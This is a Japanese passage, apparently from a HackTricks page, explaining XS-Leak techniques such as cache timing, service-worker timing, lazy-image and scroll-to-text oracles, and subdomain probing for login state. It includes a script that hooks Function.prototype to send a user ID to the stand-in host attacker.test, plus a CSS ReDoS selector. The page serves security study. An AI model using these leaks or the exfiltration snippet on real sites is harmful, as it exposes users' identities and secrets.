  • Chromium 系ブラウザでファイルがダウンロードされると、ブラウザウィンドウ下部にダウンロードバーが表示される。
  • ウィンドウ高さの変化を監視することで、ダウンロードバーの出現を推測し、ダウンロードが開始されたことを示唆できる。
  1. iframe を使用したダウンロードナビゲーション:
  • ページが Content-Disposition: attachment を使ってファイルダウンロードを引き起こす場合、ナビゲーションイベントは発生しない。
  • コンテンツを iframe に読み込み、ナビゲーションイベントを監視することで、コンテンツがファイルダウンロードを引き起こしたか(ナビゲーションなし)を判定できる。
  1. iframe を使わないダウンロードナビゲーション:
  • iframe の代わりに window.open を使用する方法もある。
  • 新しく開いたウィンドウでナビゲーションイベントを監視することで、ファイルダウンロードがトリガーされたか(ナビゲーションなし)あるいはコンテンツがインライン表示されたか(ナビゲーションあり)を明らかにできる。

ログイン済みユーザーのみがこのようなダウンロードを引き起こせる場合、これらの手法によりブラウザのダウンロードリクエストへの応答からユーザーの認証状態を間接的に推測することができる。

Partitioned HTTP Cache Bypass

Warning

This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)

あるサイト example.com*.example.com/resource からリソースを含める場合、そのリソースはトップレベルナビゲーションで直接リクエストした場合と同じキャッシュキーを持つことになる。これはキャッシュキーがトップレベルの eTLD+1 とフレームの eTLD+1 で構成されるためである。

キャッシュにアクセスする方がリソースを読み込むよりも速いため、ページの location を変更してから例えば 20ms で中断するような試みを行い、停止後にオリジンが変わっていればそのリソースがキャッシュされていたことを意味する。
あるいは、潜在的にキャッシュされたページに対して fetch を投げ、その所要時間を計測するだけでもよい。

Manual Redirect

Fetch with AbortController

fetchsetTimeoutAbortController と組み合わせて使用することで、リソースがキャッシュされているかを検出し、特定のリソースをブラウザキャッシュから追い出すことができる。さらに、このプロセスは新しいコンテンツをキャッシュすることなく実行される。

Script Pollution

Prototype hooks to exfiltrate module-scoped data

モジュールをロードする前に Function.prototype.defaultFunction.prototype.__esModule = 1 を事前に定義しておくと、そのモジュールの default エクスポートがあなたのフックを呼び出す(例: {userID: ...} を受け取る)ようになり、タイミングやブルートフォースを使わずにモジュールスコープ内の値を読み取ることができる。

<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>

スクリプトが認証済みユーザーにのみ読み込まれる場合、そのリクエスト自体がログイン状態のオラクルになります。

Service Workers

このシナリオでは、攻撃者は自身のドメインの1つ、具体的には “attacker.com” に service worker を登録します。次に、攻撃者はメインドキュメントからターゲットサイトで新しいウィンドウを開き、service worker にタイマーを開始するよう指示します。新しいウィンドウが読み込みを開始すると、攻撃者は前のステップで得た参照を service worker が管理するページへナビゲートします。

前のステップで発生したリクエストが到着すると、service worker204 (No Content) ステータスコードで応答し、ナビゲーションを実質的に終了させます。この時点で、service worker はステップ2で開始したタイマーから計測を取得します。この計測は、ナビゲーションの遅延を引き起こす JavaScript の実行時間に影響されます。

Warning

実行タイミングにおいて、より正確な計測を得るために ネットワーク要因排除 することが可能です。例えば、ページを読み込む前にそのページで使用されるリソースを先に読み込む、など。

Fetch Timing

Cross-Window Timing

Subdomain probing for identity/login state

  • Inclusion Methods: HTML Elements (script), フレーム
  • Detectable Difference: DNS/HTTP のロード成功、CORB/ヘッダーの変化
  • Summary: 識別子がサブドメインのラベル内に存在する場合(例: www.<username>.sb.facebook.com)、候補ホストにリソースをリクエストし、onloadonerror/タイムアウトをブール値として扱います。ログイン専用スクリプト(例: /signals/iwl.js)と組み合わせれば、ユーザー名をブルートフォースし、関連プロパティへの認証を検証できます。
  • Note: Signals は異なる挿入タイプ(script, iframe, object)で増幅でき、候補ごとの X-Frame-OptionsCORB、リダイレクトの違いを検出できます。

HTML または Re Injection を用いる場合

ここでは、クロスオリジンの HTML から情報を外部に抜き出すための、HTML を注入するケース向けのテクニックを紹介します。これらの技術は、何らかの理由で HTML は注入できるが JS コードは注入できない 場合に特に有用です。

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

コンテンツを exfiltrate する必要があり、かつ秘密の前に HTML を追加できるなら、common dangling markup techniques を確認してください。
しかし、何らかの理由で どうしても 文字ごとに(char by char) 行う必要がある場合(例えば通信がキャッシュヒット経由の場合)、このトリックを使うことができます。

HTML の Images には、値が “loading” の属性があり、その値に “lazy” を指定できます。この場合、画像はページ読み込み時ではなく、表示されたときに読み込まれます:

<img src=/something loading=lazy >

したがって、できることは、大量のジャンク文字を追加する(例えば何千もの “W”)ことで、秘密の前にウェブページを埋める、または次のようなものを追加する <br><canvas height="1850px"></canvas><br>.
例えば、もし我々のinjectionがflagの前に現れるなら、image読み込まれるでしょう。しかし、flagの後に現れる場合は、flag とジャンクがそれを読み込まれるのを妨げるでしょう(どれだけジャンクを置くかは調整が必要です)。これはthis writeupで起きたことです。

Another option would be to use the scroll-to-text-fragment if allowed:

Scroll-to-text-fragment

However, you make the botにページへアクセスさせる with something like

#:~:text=SECR

つまり、ウェブページは次のようになります: https://victim.com/post.html#:~:text=SECR

post.html には攻撃者のジャンク文字と遅延読み込み画像が含まれ、その下にボットのシークレットが追加されます。

このテキストはページ内の SECR を含む任意のテキストにボットがアクセスするようにします。SECR がシークレットであり、それが画像のすぐ にあるため、推測したシークレットが正しい場合にのみ画像が読み込まれることになります。こうして、exfiltrate the secret char by charするためのオラクルが得られます。

これを悪用するコード例: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Image Lazy Loading Time Based

外部画像を読み込むことが不可能で、画像が読み込まれたことを示す外部リクエストが使えない場合、別の選択肢として文字を何度も推測して測定する方法があります。画像が読み込まれると、全てのリクエストは画像が読み込まれない場合よりも長くかかります。これはsolution of this writeupで使われた方法で、ここに要約を示します:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

jQuery(location.hash) が使われている場合、タイミングによって HTMLコンテンツが存在するか を判別できます。これはセレクタ main[id='site-main'] が一致しない場合、残りの selectors をチェックする必要がないためです:

$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

CSS Injection

対策

以下の資料や wiki の各セクションに緩和策が推奨されています: https://xsinator.com/paper.pdf および https://xsleaks.dev/。これらの手法から保護する方法の詳細はそちらを参照してください。

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする